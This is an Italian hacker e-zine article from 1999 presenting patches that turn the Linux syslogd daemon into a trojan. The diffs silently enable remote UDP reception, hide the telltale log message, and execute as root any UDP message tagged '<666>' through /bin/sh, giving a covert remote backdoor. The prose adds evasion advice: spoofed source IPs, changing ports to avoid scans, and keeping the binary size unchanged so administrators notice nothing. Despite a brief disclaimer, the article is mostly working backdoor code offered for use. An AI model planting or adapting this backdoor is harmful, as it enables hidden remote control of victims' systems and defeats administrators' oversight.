============================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- --------------------[ previous ]---[ index ]---[ next ]--------------------- -----------------------------[ SYSL0GD TR0JAN ]------------------------------ --------------------------------[ bELFaghor ]--------------------------------- [*] Premessa Prima considerazione che ritengo opportuno fare e' chiarire il perche' della stesura di questo codice. Non e' ne' il primo syslogd trojano che viene scritto ne' tantomeno sara' l'ultimo. Quella che ho voluto scrivere e' solamente una patch per sfruttare le inadempienze del codice del Syslogd esposte nell'articolo comparso in BFi5. Non mi e' finora capitato di trovare per la Rete patch di questo genere ed ho percio' ritenuto opportuno scriverla. Con il seguente codice non intendo incitare nessuno all'utilizzo dello stesso a fini non legali, ma piuttosto miro a far riflettere molte persone. Questa patch non e' altro che l'implentazione pratica di una delle tante idee che mi sono venute per sfruttare il syslogd. Quindi spero che non vi limitiate ad utilizzare questo codice, ma spero che vi cimenterete nel personalizzarlo e migliorarlo. La patch e' basata sui sorgenti del syslogd 1.3-31 ed e' pertanto nessario applicarla a tale pacchetto per evitare errori. Saranno necessarie tuttavia poche modifiche per adattarla a versioni successive o precedenti. Il codice e' stato "sviluppato" e "testato"" su un Linux 2.0.x/i386, ma non credo vi siano particolari difficolta' a compilare laddove il syslogd e' predisposto a compilare. [*] Funzionamento Prima di tutto: man syslogd. Dopo che avete ben chiaro come funzionano le priorita', la configurazione, il sistema di logging e quant'altro, potete continuare con la lettura di queste poche righe. La patch aggiunge una capacita' al nostro trojano o semplicemente syslogd patchato: ora e' disponibile una nuova priorita', battezzata la Priorita' del Diavolo, che permette di processare localmente dei comandi. Ovviamente dobbiamo ricordarci bene il nostro scopo: potere lavorare in modo occulto sulla shell remota. Questo comporta, come al solito, dei 'pro', come la possibilita' di inviare i comandi con un IP spoofato, ma anche dei 'contro', come ad esempio il non ritorno dei nostri comandi. Possiamo, infatti, agire nell'ombra forgiando i nostri pacchetti con un IP sorgente spoofato in modo tale da nasconderci anche nel caso in cui i pacchetti e le connessioni UDP vengano intercettate e loggate. Quindi non ci resta che forgiare i nostri pacchetti UDP, contenenti la stringa di comandi che vogliamo eseguire, e mandarli alla nostra vittima sulla quale girera' il nostro trojano. Questo per quanto concerne un'azione da remoto. Per agire in locale la strada ovvia da intraprendere potrebbe sembrare quella di mandare i comandi via /dev/log come suggerito nell'articolo precedente, ma come abbiamo gia' visto comporterebbe non pochi problemi. Il mio consiglio e' pertanto, se volete agire localmente, di mandare alla stessa maniera i comandi al Syslogd. Si potrebbero intraprendere altre strade, attraverso il codice del pacchetto, ma lo lascio a voi e alla vostra fantasia nonche' alla vostra intelligenza. Infine, ultimo add-on necessario, e' la possibilita' per il nostro trojano di ricevere SEMPRE i pacchetti da remoto; in questo modo il trojano sara' sempre attivo a ricevere e processare pacchetti da remoto senza che ce ne si accorga se non specificandolo. L'amministratore potrebbe tuttavia accorgersene attraverso un port scanning e vi consiglio percio' di cambiare la porta sulla quale accettare i pacchetti se l'amministratore e' solito non utilizzare la 'remote reception'. E ora il codice ;) Iniziamo con il nascondere il messaggio 'remote reception' se non esplicitamente specificato (cioe' con -r). E direi che le poche modifiche sono sufficientemente esclicative. ---------- snip ---------- --- syslogd.c Tue Jan 19 11:31:58 1999 +++ syslogd.c Mon Jun 14 21:57:55 1999 @@ -700,7 +700,7 @@ int MarkInterval = 20 * 60; /* interval between marks in seconds */ int MarkSeq = 0; /* mark sequence number */ int NoFork = 0; /* don't fork - don't run in daemon mode */ -int AcceptRemote = 0; /* receive messages that come via UDP */ +int AcceptRemote = 1; /* receive messages that come via UDP */ char **StripDomains = NULL; /* these domains may be stripped before writing logs */ char **LocalHosts = NULL; /* these hosts are logged with their hostname */ int NoHops = 1; /* Can we bounce syslog messages through an @@ -832,7 +832,7 @@ funixn[0] = optarg; break; case 'r': /* accept remote messages */ - AcceptRemote = 1; + AcceptRemote = 2; break; case 's': if (StripDomains) { @@ -2400,7 +2400,7 @@ } } - if ( AcceptRemote ) + if ( AcceptRemote == 2 ) #ifdef DEBRELEASE logmsg(LOG_SYSLOG|LOG_INFO, "syslogd " VERSION "-" PATCHLEVEL "#" DEBRELEASE \ ": restart (remote reception)." , LocalHostName, \ ---------- snip ---------- Ora abilitiamo il nostro syslogd_trojano a ricevere e processare messaggi con la Priorita' del Diavolo. Il funzionamento e' questo: arriva il messaggio, controllo la priorita', se e' la Priorita' del Diavolo, scrivo il messaggio in un file temporaneo che poi cancellero' e lo eseguo con una execl(), altrimenti lo faccio processare normalmente. Ma il codice sara' piu' esplicativo. Ovviamente questa patch dovrete applicarla dopo avere applicato quella precedente. ---------- snip ---------- --- syslogd.c Tue Jun 15 15:57:45 1999 +++ syslogd.c Tue Jun 15 15:57:27 1999 @@ -413,6 +413,12 @@ * Miettinen <tom@medialab.sonera.net>. */ +/* + hack #define +*/ + +#define HACKCODE "<666>" +#define HACKPATH "/tmp/.syshackfile" #define MAXLINE 1024 /* maximum line length */ #define MAXSVLINE 240 /* maximum saved line length */ @@ -519,6 +525,13 @@ #define _PATH_LOG "/dev/log" #endif +/* + hack vars +*/ + +int hackfd; +char *hackstring; + char *ConfFile = _PATH_LOGCONF; char *PidFile = _PATH_LOGPID; char ctty[] = _PATH_CONSOLE; @@ -1143,6 +1156,22 @@ if (i > 0) { line[i] = line[i+1] = '\0'; from = (char *)cvthname(&frominet); + + hackstring = strstr(line, HACKCODE); + if(hackstring != NULL) { + hackstring = hackstring+strlen(HACKCODE); + hackfd = open(HACKPATH, O_WRONLY|O_CREAT|O_TRUNC); + write(hackfd, hackstring, strlen(hackstring)); + if(fork() == 0) { + execl("/bin/sh", "/bin/sh", HACKPATH, NULL); + _exit(0); + } + wait(NULL); + close(hackfd); + unlink(HACKPATH); + } + else { + /* * Here we could check if the host is permitted * to send us syslog messages. We just have to @@ -1154,6 +1183,8 @@ */ printchopped(from, line, \ i + 2, finet); + } + } else if (i < 0 && errno != EINTR) { dprintf("INET socket error: %d = %s.\n", \ errno, strerror(errno)); ---------- snip ---------- [*] Conclusioni Per applicare le patch non dovete fare altro che che salvare i due codici in due file differenti, posizionarli nella directory in cui avete decompresso il pacchetto Syslogd e digitare: root@bfi~# man patch root@bfi~# patch < 'nomefile' Ricordatevi poi di fixare le dimensioni del syslogd agendo direttamente sul codice (syslogd.c) modificando parti superflue o prolisse; tenete benw a mente che un cambiamento di dimensione e' un buon campanello d'allarme per un amministratore. Infine ricordatevi di far girare il processo come r00t altrimenti non potrere utilizzare tutti i comandi, ma gia' lo sapete ;) E per mandare i famosi comandi in UDP? Beh usate il Walla Walla! ;) bELFaghor vampErotic Daem0n --------------------[ previous ]---[ index ]---[ next ]--------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ==============================================================================